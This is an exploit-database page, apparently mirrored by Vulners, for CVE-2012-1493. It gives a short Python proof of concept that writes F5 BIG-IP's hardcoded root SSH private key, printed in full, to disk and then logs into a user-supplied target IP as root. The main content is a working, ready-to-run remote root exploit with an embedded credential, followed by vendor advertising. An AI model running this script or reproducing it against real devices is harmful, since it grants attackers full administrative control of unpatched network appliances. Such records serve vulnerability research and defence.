F5 BIG-IP - Authentication Bypass
🗓️ 12 Jun 2012 00:00:00Reported by David Kennedy (ReL1K)Type 
exploitdb🔗 www.exploit-db.com👁 64 Views
| Reporter | Title | Published | Views | Family All 28 |
|---|---|---|---|---|
 | F5 BIG-IP Remote Root Authentication Bypass Vulnerability | 11 Jun 201200:00 | – | zdt |
| F5 BIG-IP SSH Private Key Exposure | 13 Jun 201200:00 | – | zdt |
 | CVE-2012-1493 | 11 Jun 201200:00 | – | circl |
 | CVE-2012-1493 | 9 Jul 201222:00 | – | cve |
 | CVE-2012-1493 | 9 Jul 201222:00 | – | cvelist |
| F5 BIG-IP - Authentication Bypass (PoC) | 11 Jun 201200:00 | – | exploitdb |
| F5 BIG-IP - SSH Private Key Exposure (Metasploit) | 13 Jun 201200:00 | – | exploitdb |
 | F5 BIG-IP - Authentication Bypass (PoC) | 11 Jun 201200:00 | – | exploitpack |
 | F5 Multiple Products Root Authentication Bypass | 13 Jun 201200:00 | – | nessus |
| SSH Static Key Accepted | 8 May 201400:00 | – | nessus |
10
#!/usr/bin/python
#
# Title: F5 BIG-IP Remote Root Authentication Bypass Vulnerability (py)
#
# Quick script written by Dave Kennedy (ReL1K) for F5 authentication root bypass
# http://www.secmaniac.com
#
#
import subprocess,os
filewrite = file("priv.key", "w")
filewrite.write("""-----BEGIN RSA PRIVATE KEY-----
MIICWgIBAAKBgQC8iELmyRPPHIeJ//uLLfKHG4rr84HXeGM+quySiCRgWtxbw4rh
UlP7n4XHvB3ixAKdWfys2pqHD/Hqx9w4wMj9e+fjIpTi3xOdh/YylRWvid3Pf0vk
OzWftKLWbay5Q3FZsq/nwjz40yGW3YhOtpK5NTQ0bKZY5zz4s2L4wdd0uQIBIwKB
gBWL6mOEsc6G6uszMrDSDRbBUbSQ26OYuuKXMPrNuwOynNdJjDcCGDoDmkK2adDF
8auVQXLXJ5poOOeh0AZ8br2vnk3hZd9mnF+uyDB3PO/tqpXOrpzSyuITy5LJZBBv
7r7kqhyBs0vuSdL/D+i1DHYf0nv2Ps4aspoBVumuQid7AkEA+tD3RDashPmoQJvM
2oWS7PO6ljUVXszuhHdUOaFtx60ZOg0OVwnh+NBbbszGpsOwwEE+OqrKMTZjYg3s
37+x/wJBAMBtwmoi05hBsA4Cvac66T1Vdhie8qf5dwL2PdHfu6hbOifSX/xSPnVL
RTbwU9+h/t6BOYdWA0xr0cWcjy1U6UcCQQDBfKF9w8bqPO+CTE2SoY6ZiNHEVNX4
rLf/ycShfIfjLcMA5YAXQiNZisow5xznC/1hHGM0kmF2a8kCf8VcJio5AkBi9p5/
uiOtY5xe+hhkofRLbce05AfEGeVvPM9V/gi8+7eCMa209xjOm70yMnRHIBys8gBU
Ot0f/O+KM0JR0+WvAkAskPvTXevY5wkp5mYXMBlUqEd7R3vGBV/qp4BldW5l0N4G
LesWvIh6+moTbFuPRoQnGO2P6D7Q5sPPqgqyefZS
-----END RSA PRIVATE KEY-----""")
filewrite.close()
subprocess.Popen("chmod 700 priv.key", shell=True).wait()
ipaddr=raw_input("Enter the IP address of the F5: ")
subprocess.Popen("ssh -i priv.key root@%s" % (ipaddr), shell=True).wait()
if os.path.isfile("priv.key"):
os.remove("priv.key")Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
09 Dec 2016 00:00Current
8.3High risk
Vulners AI Score8.3
CVSS 27.8
EPSS0.63078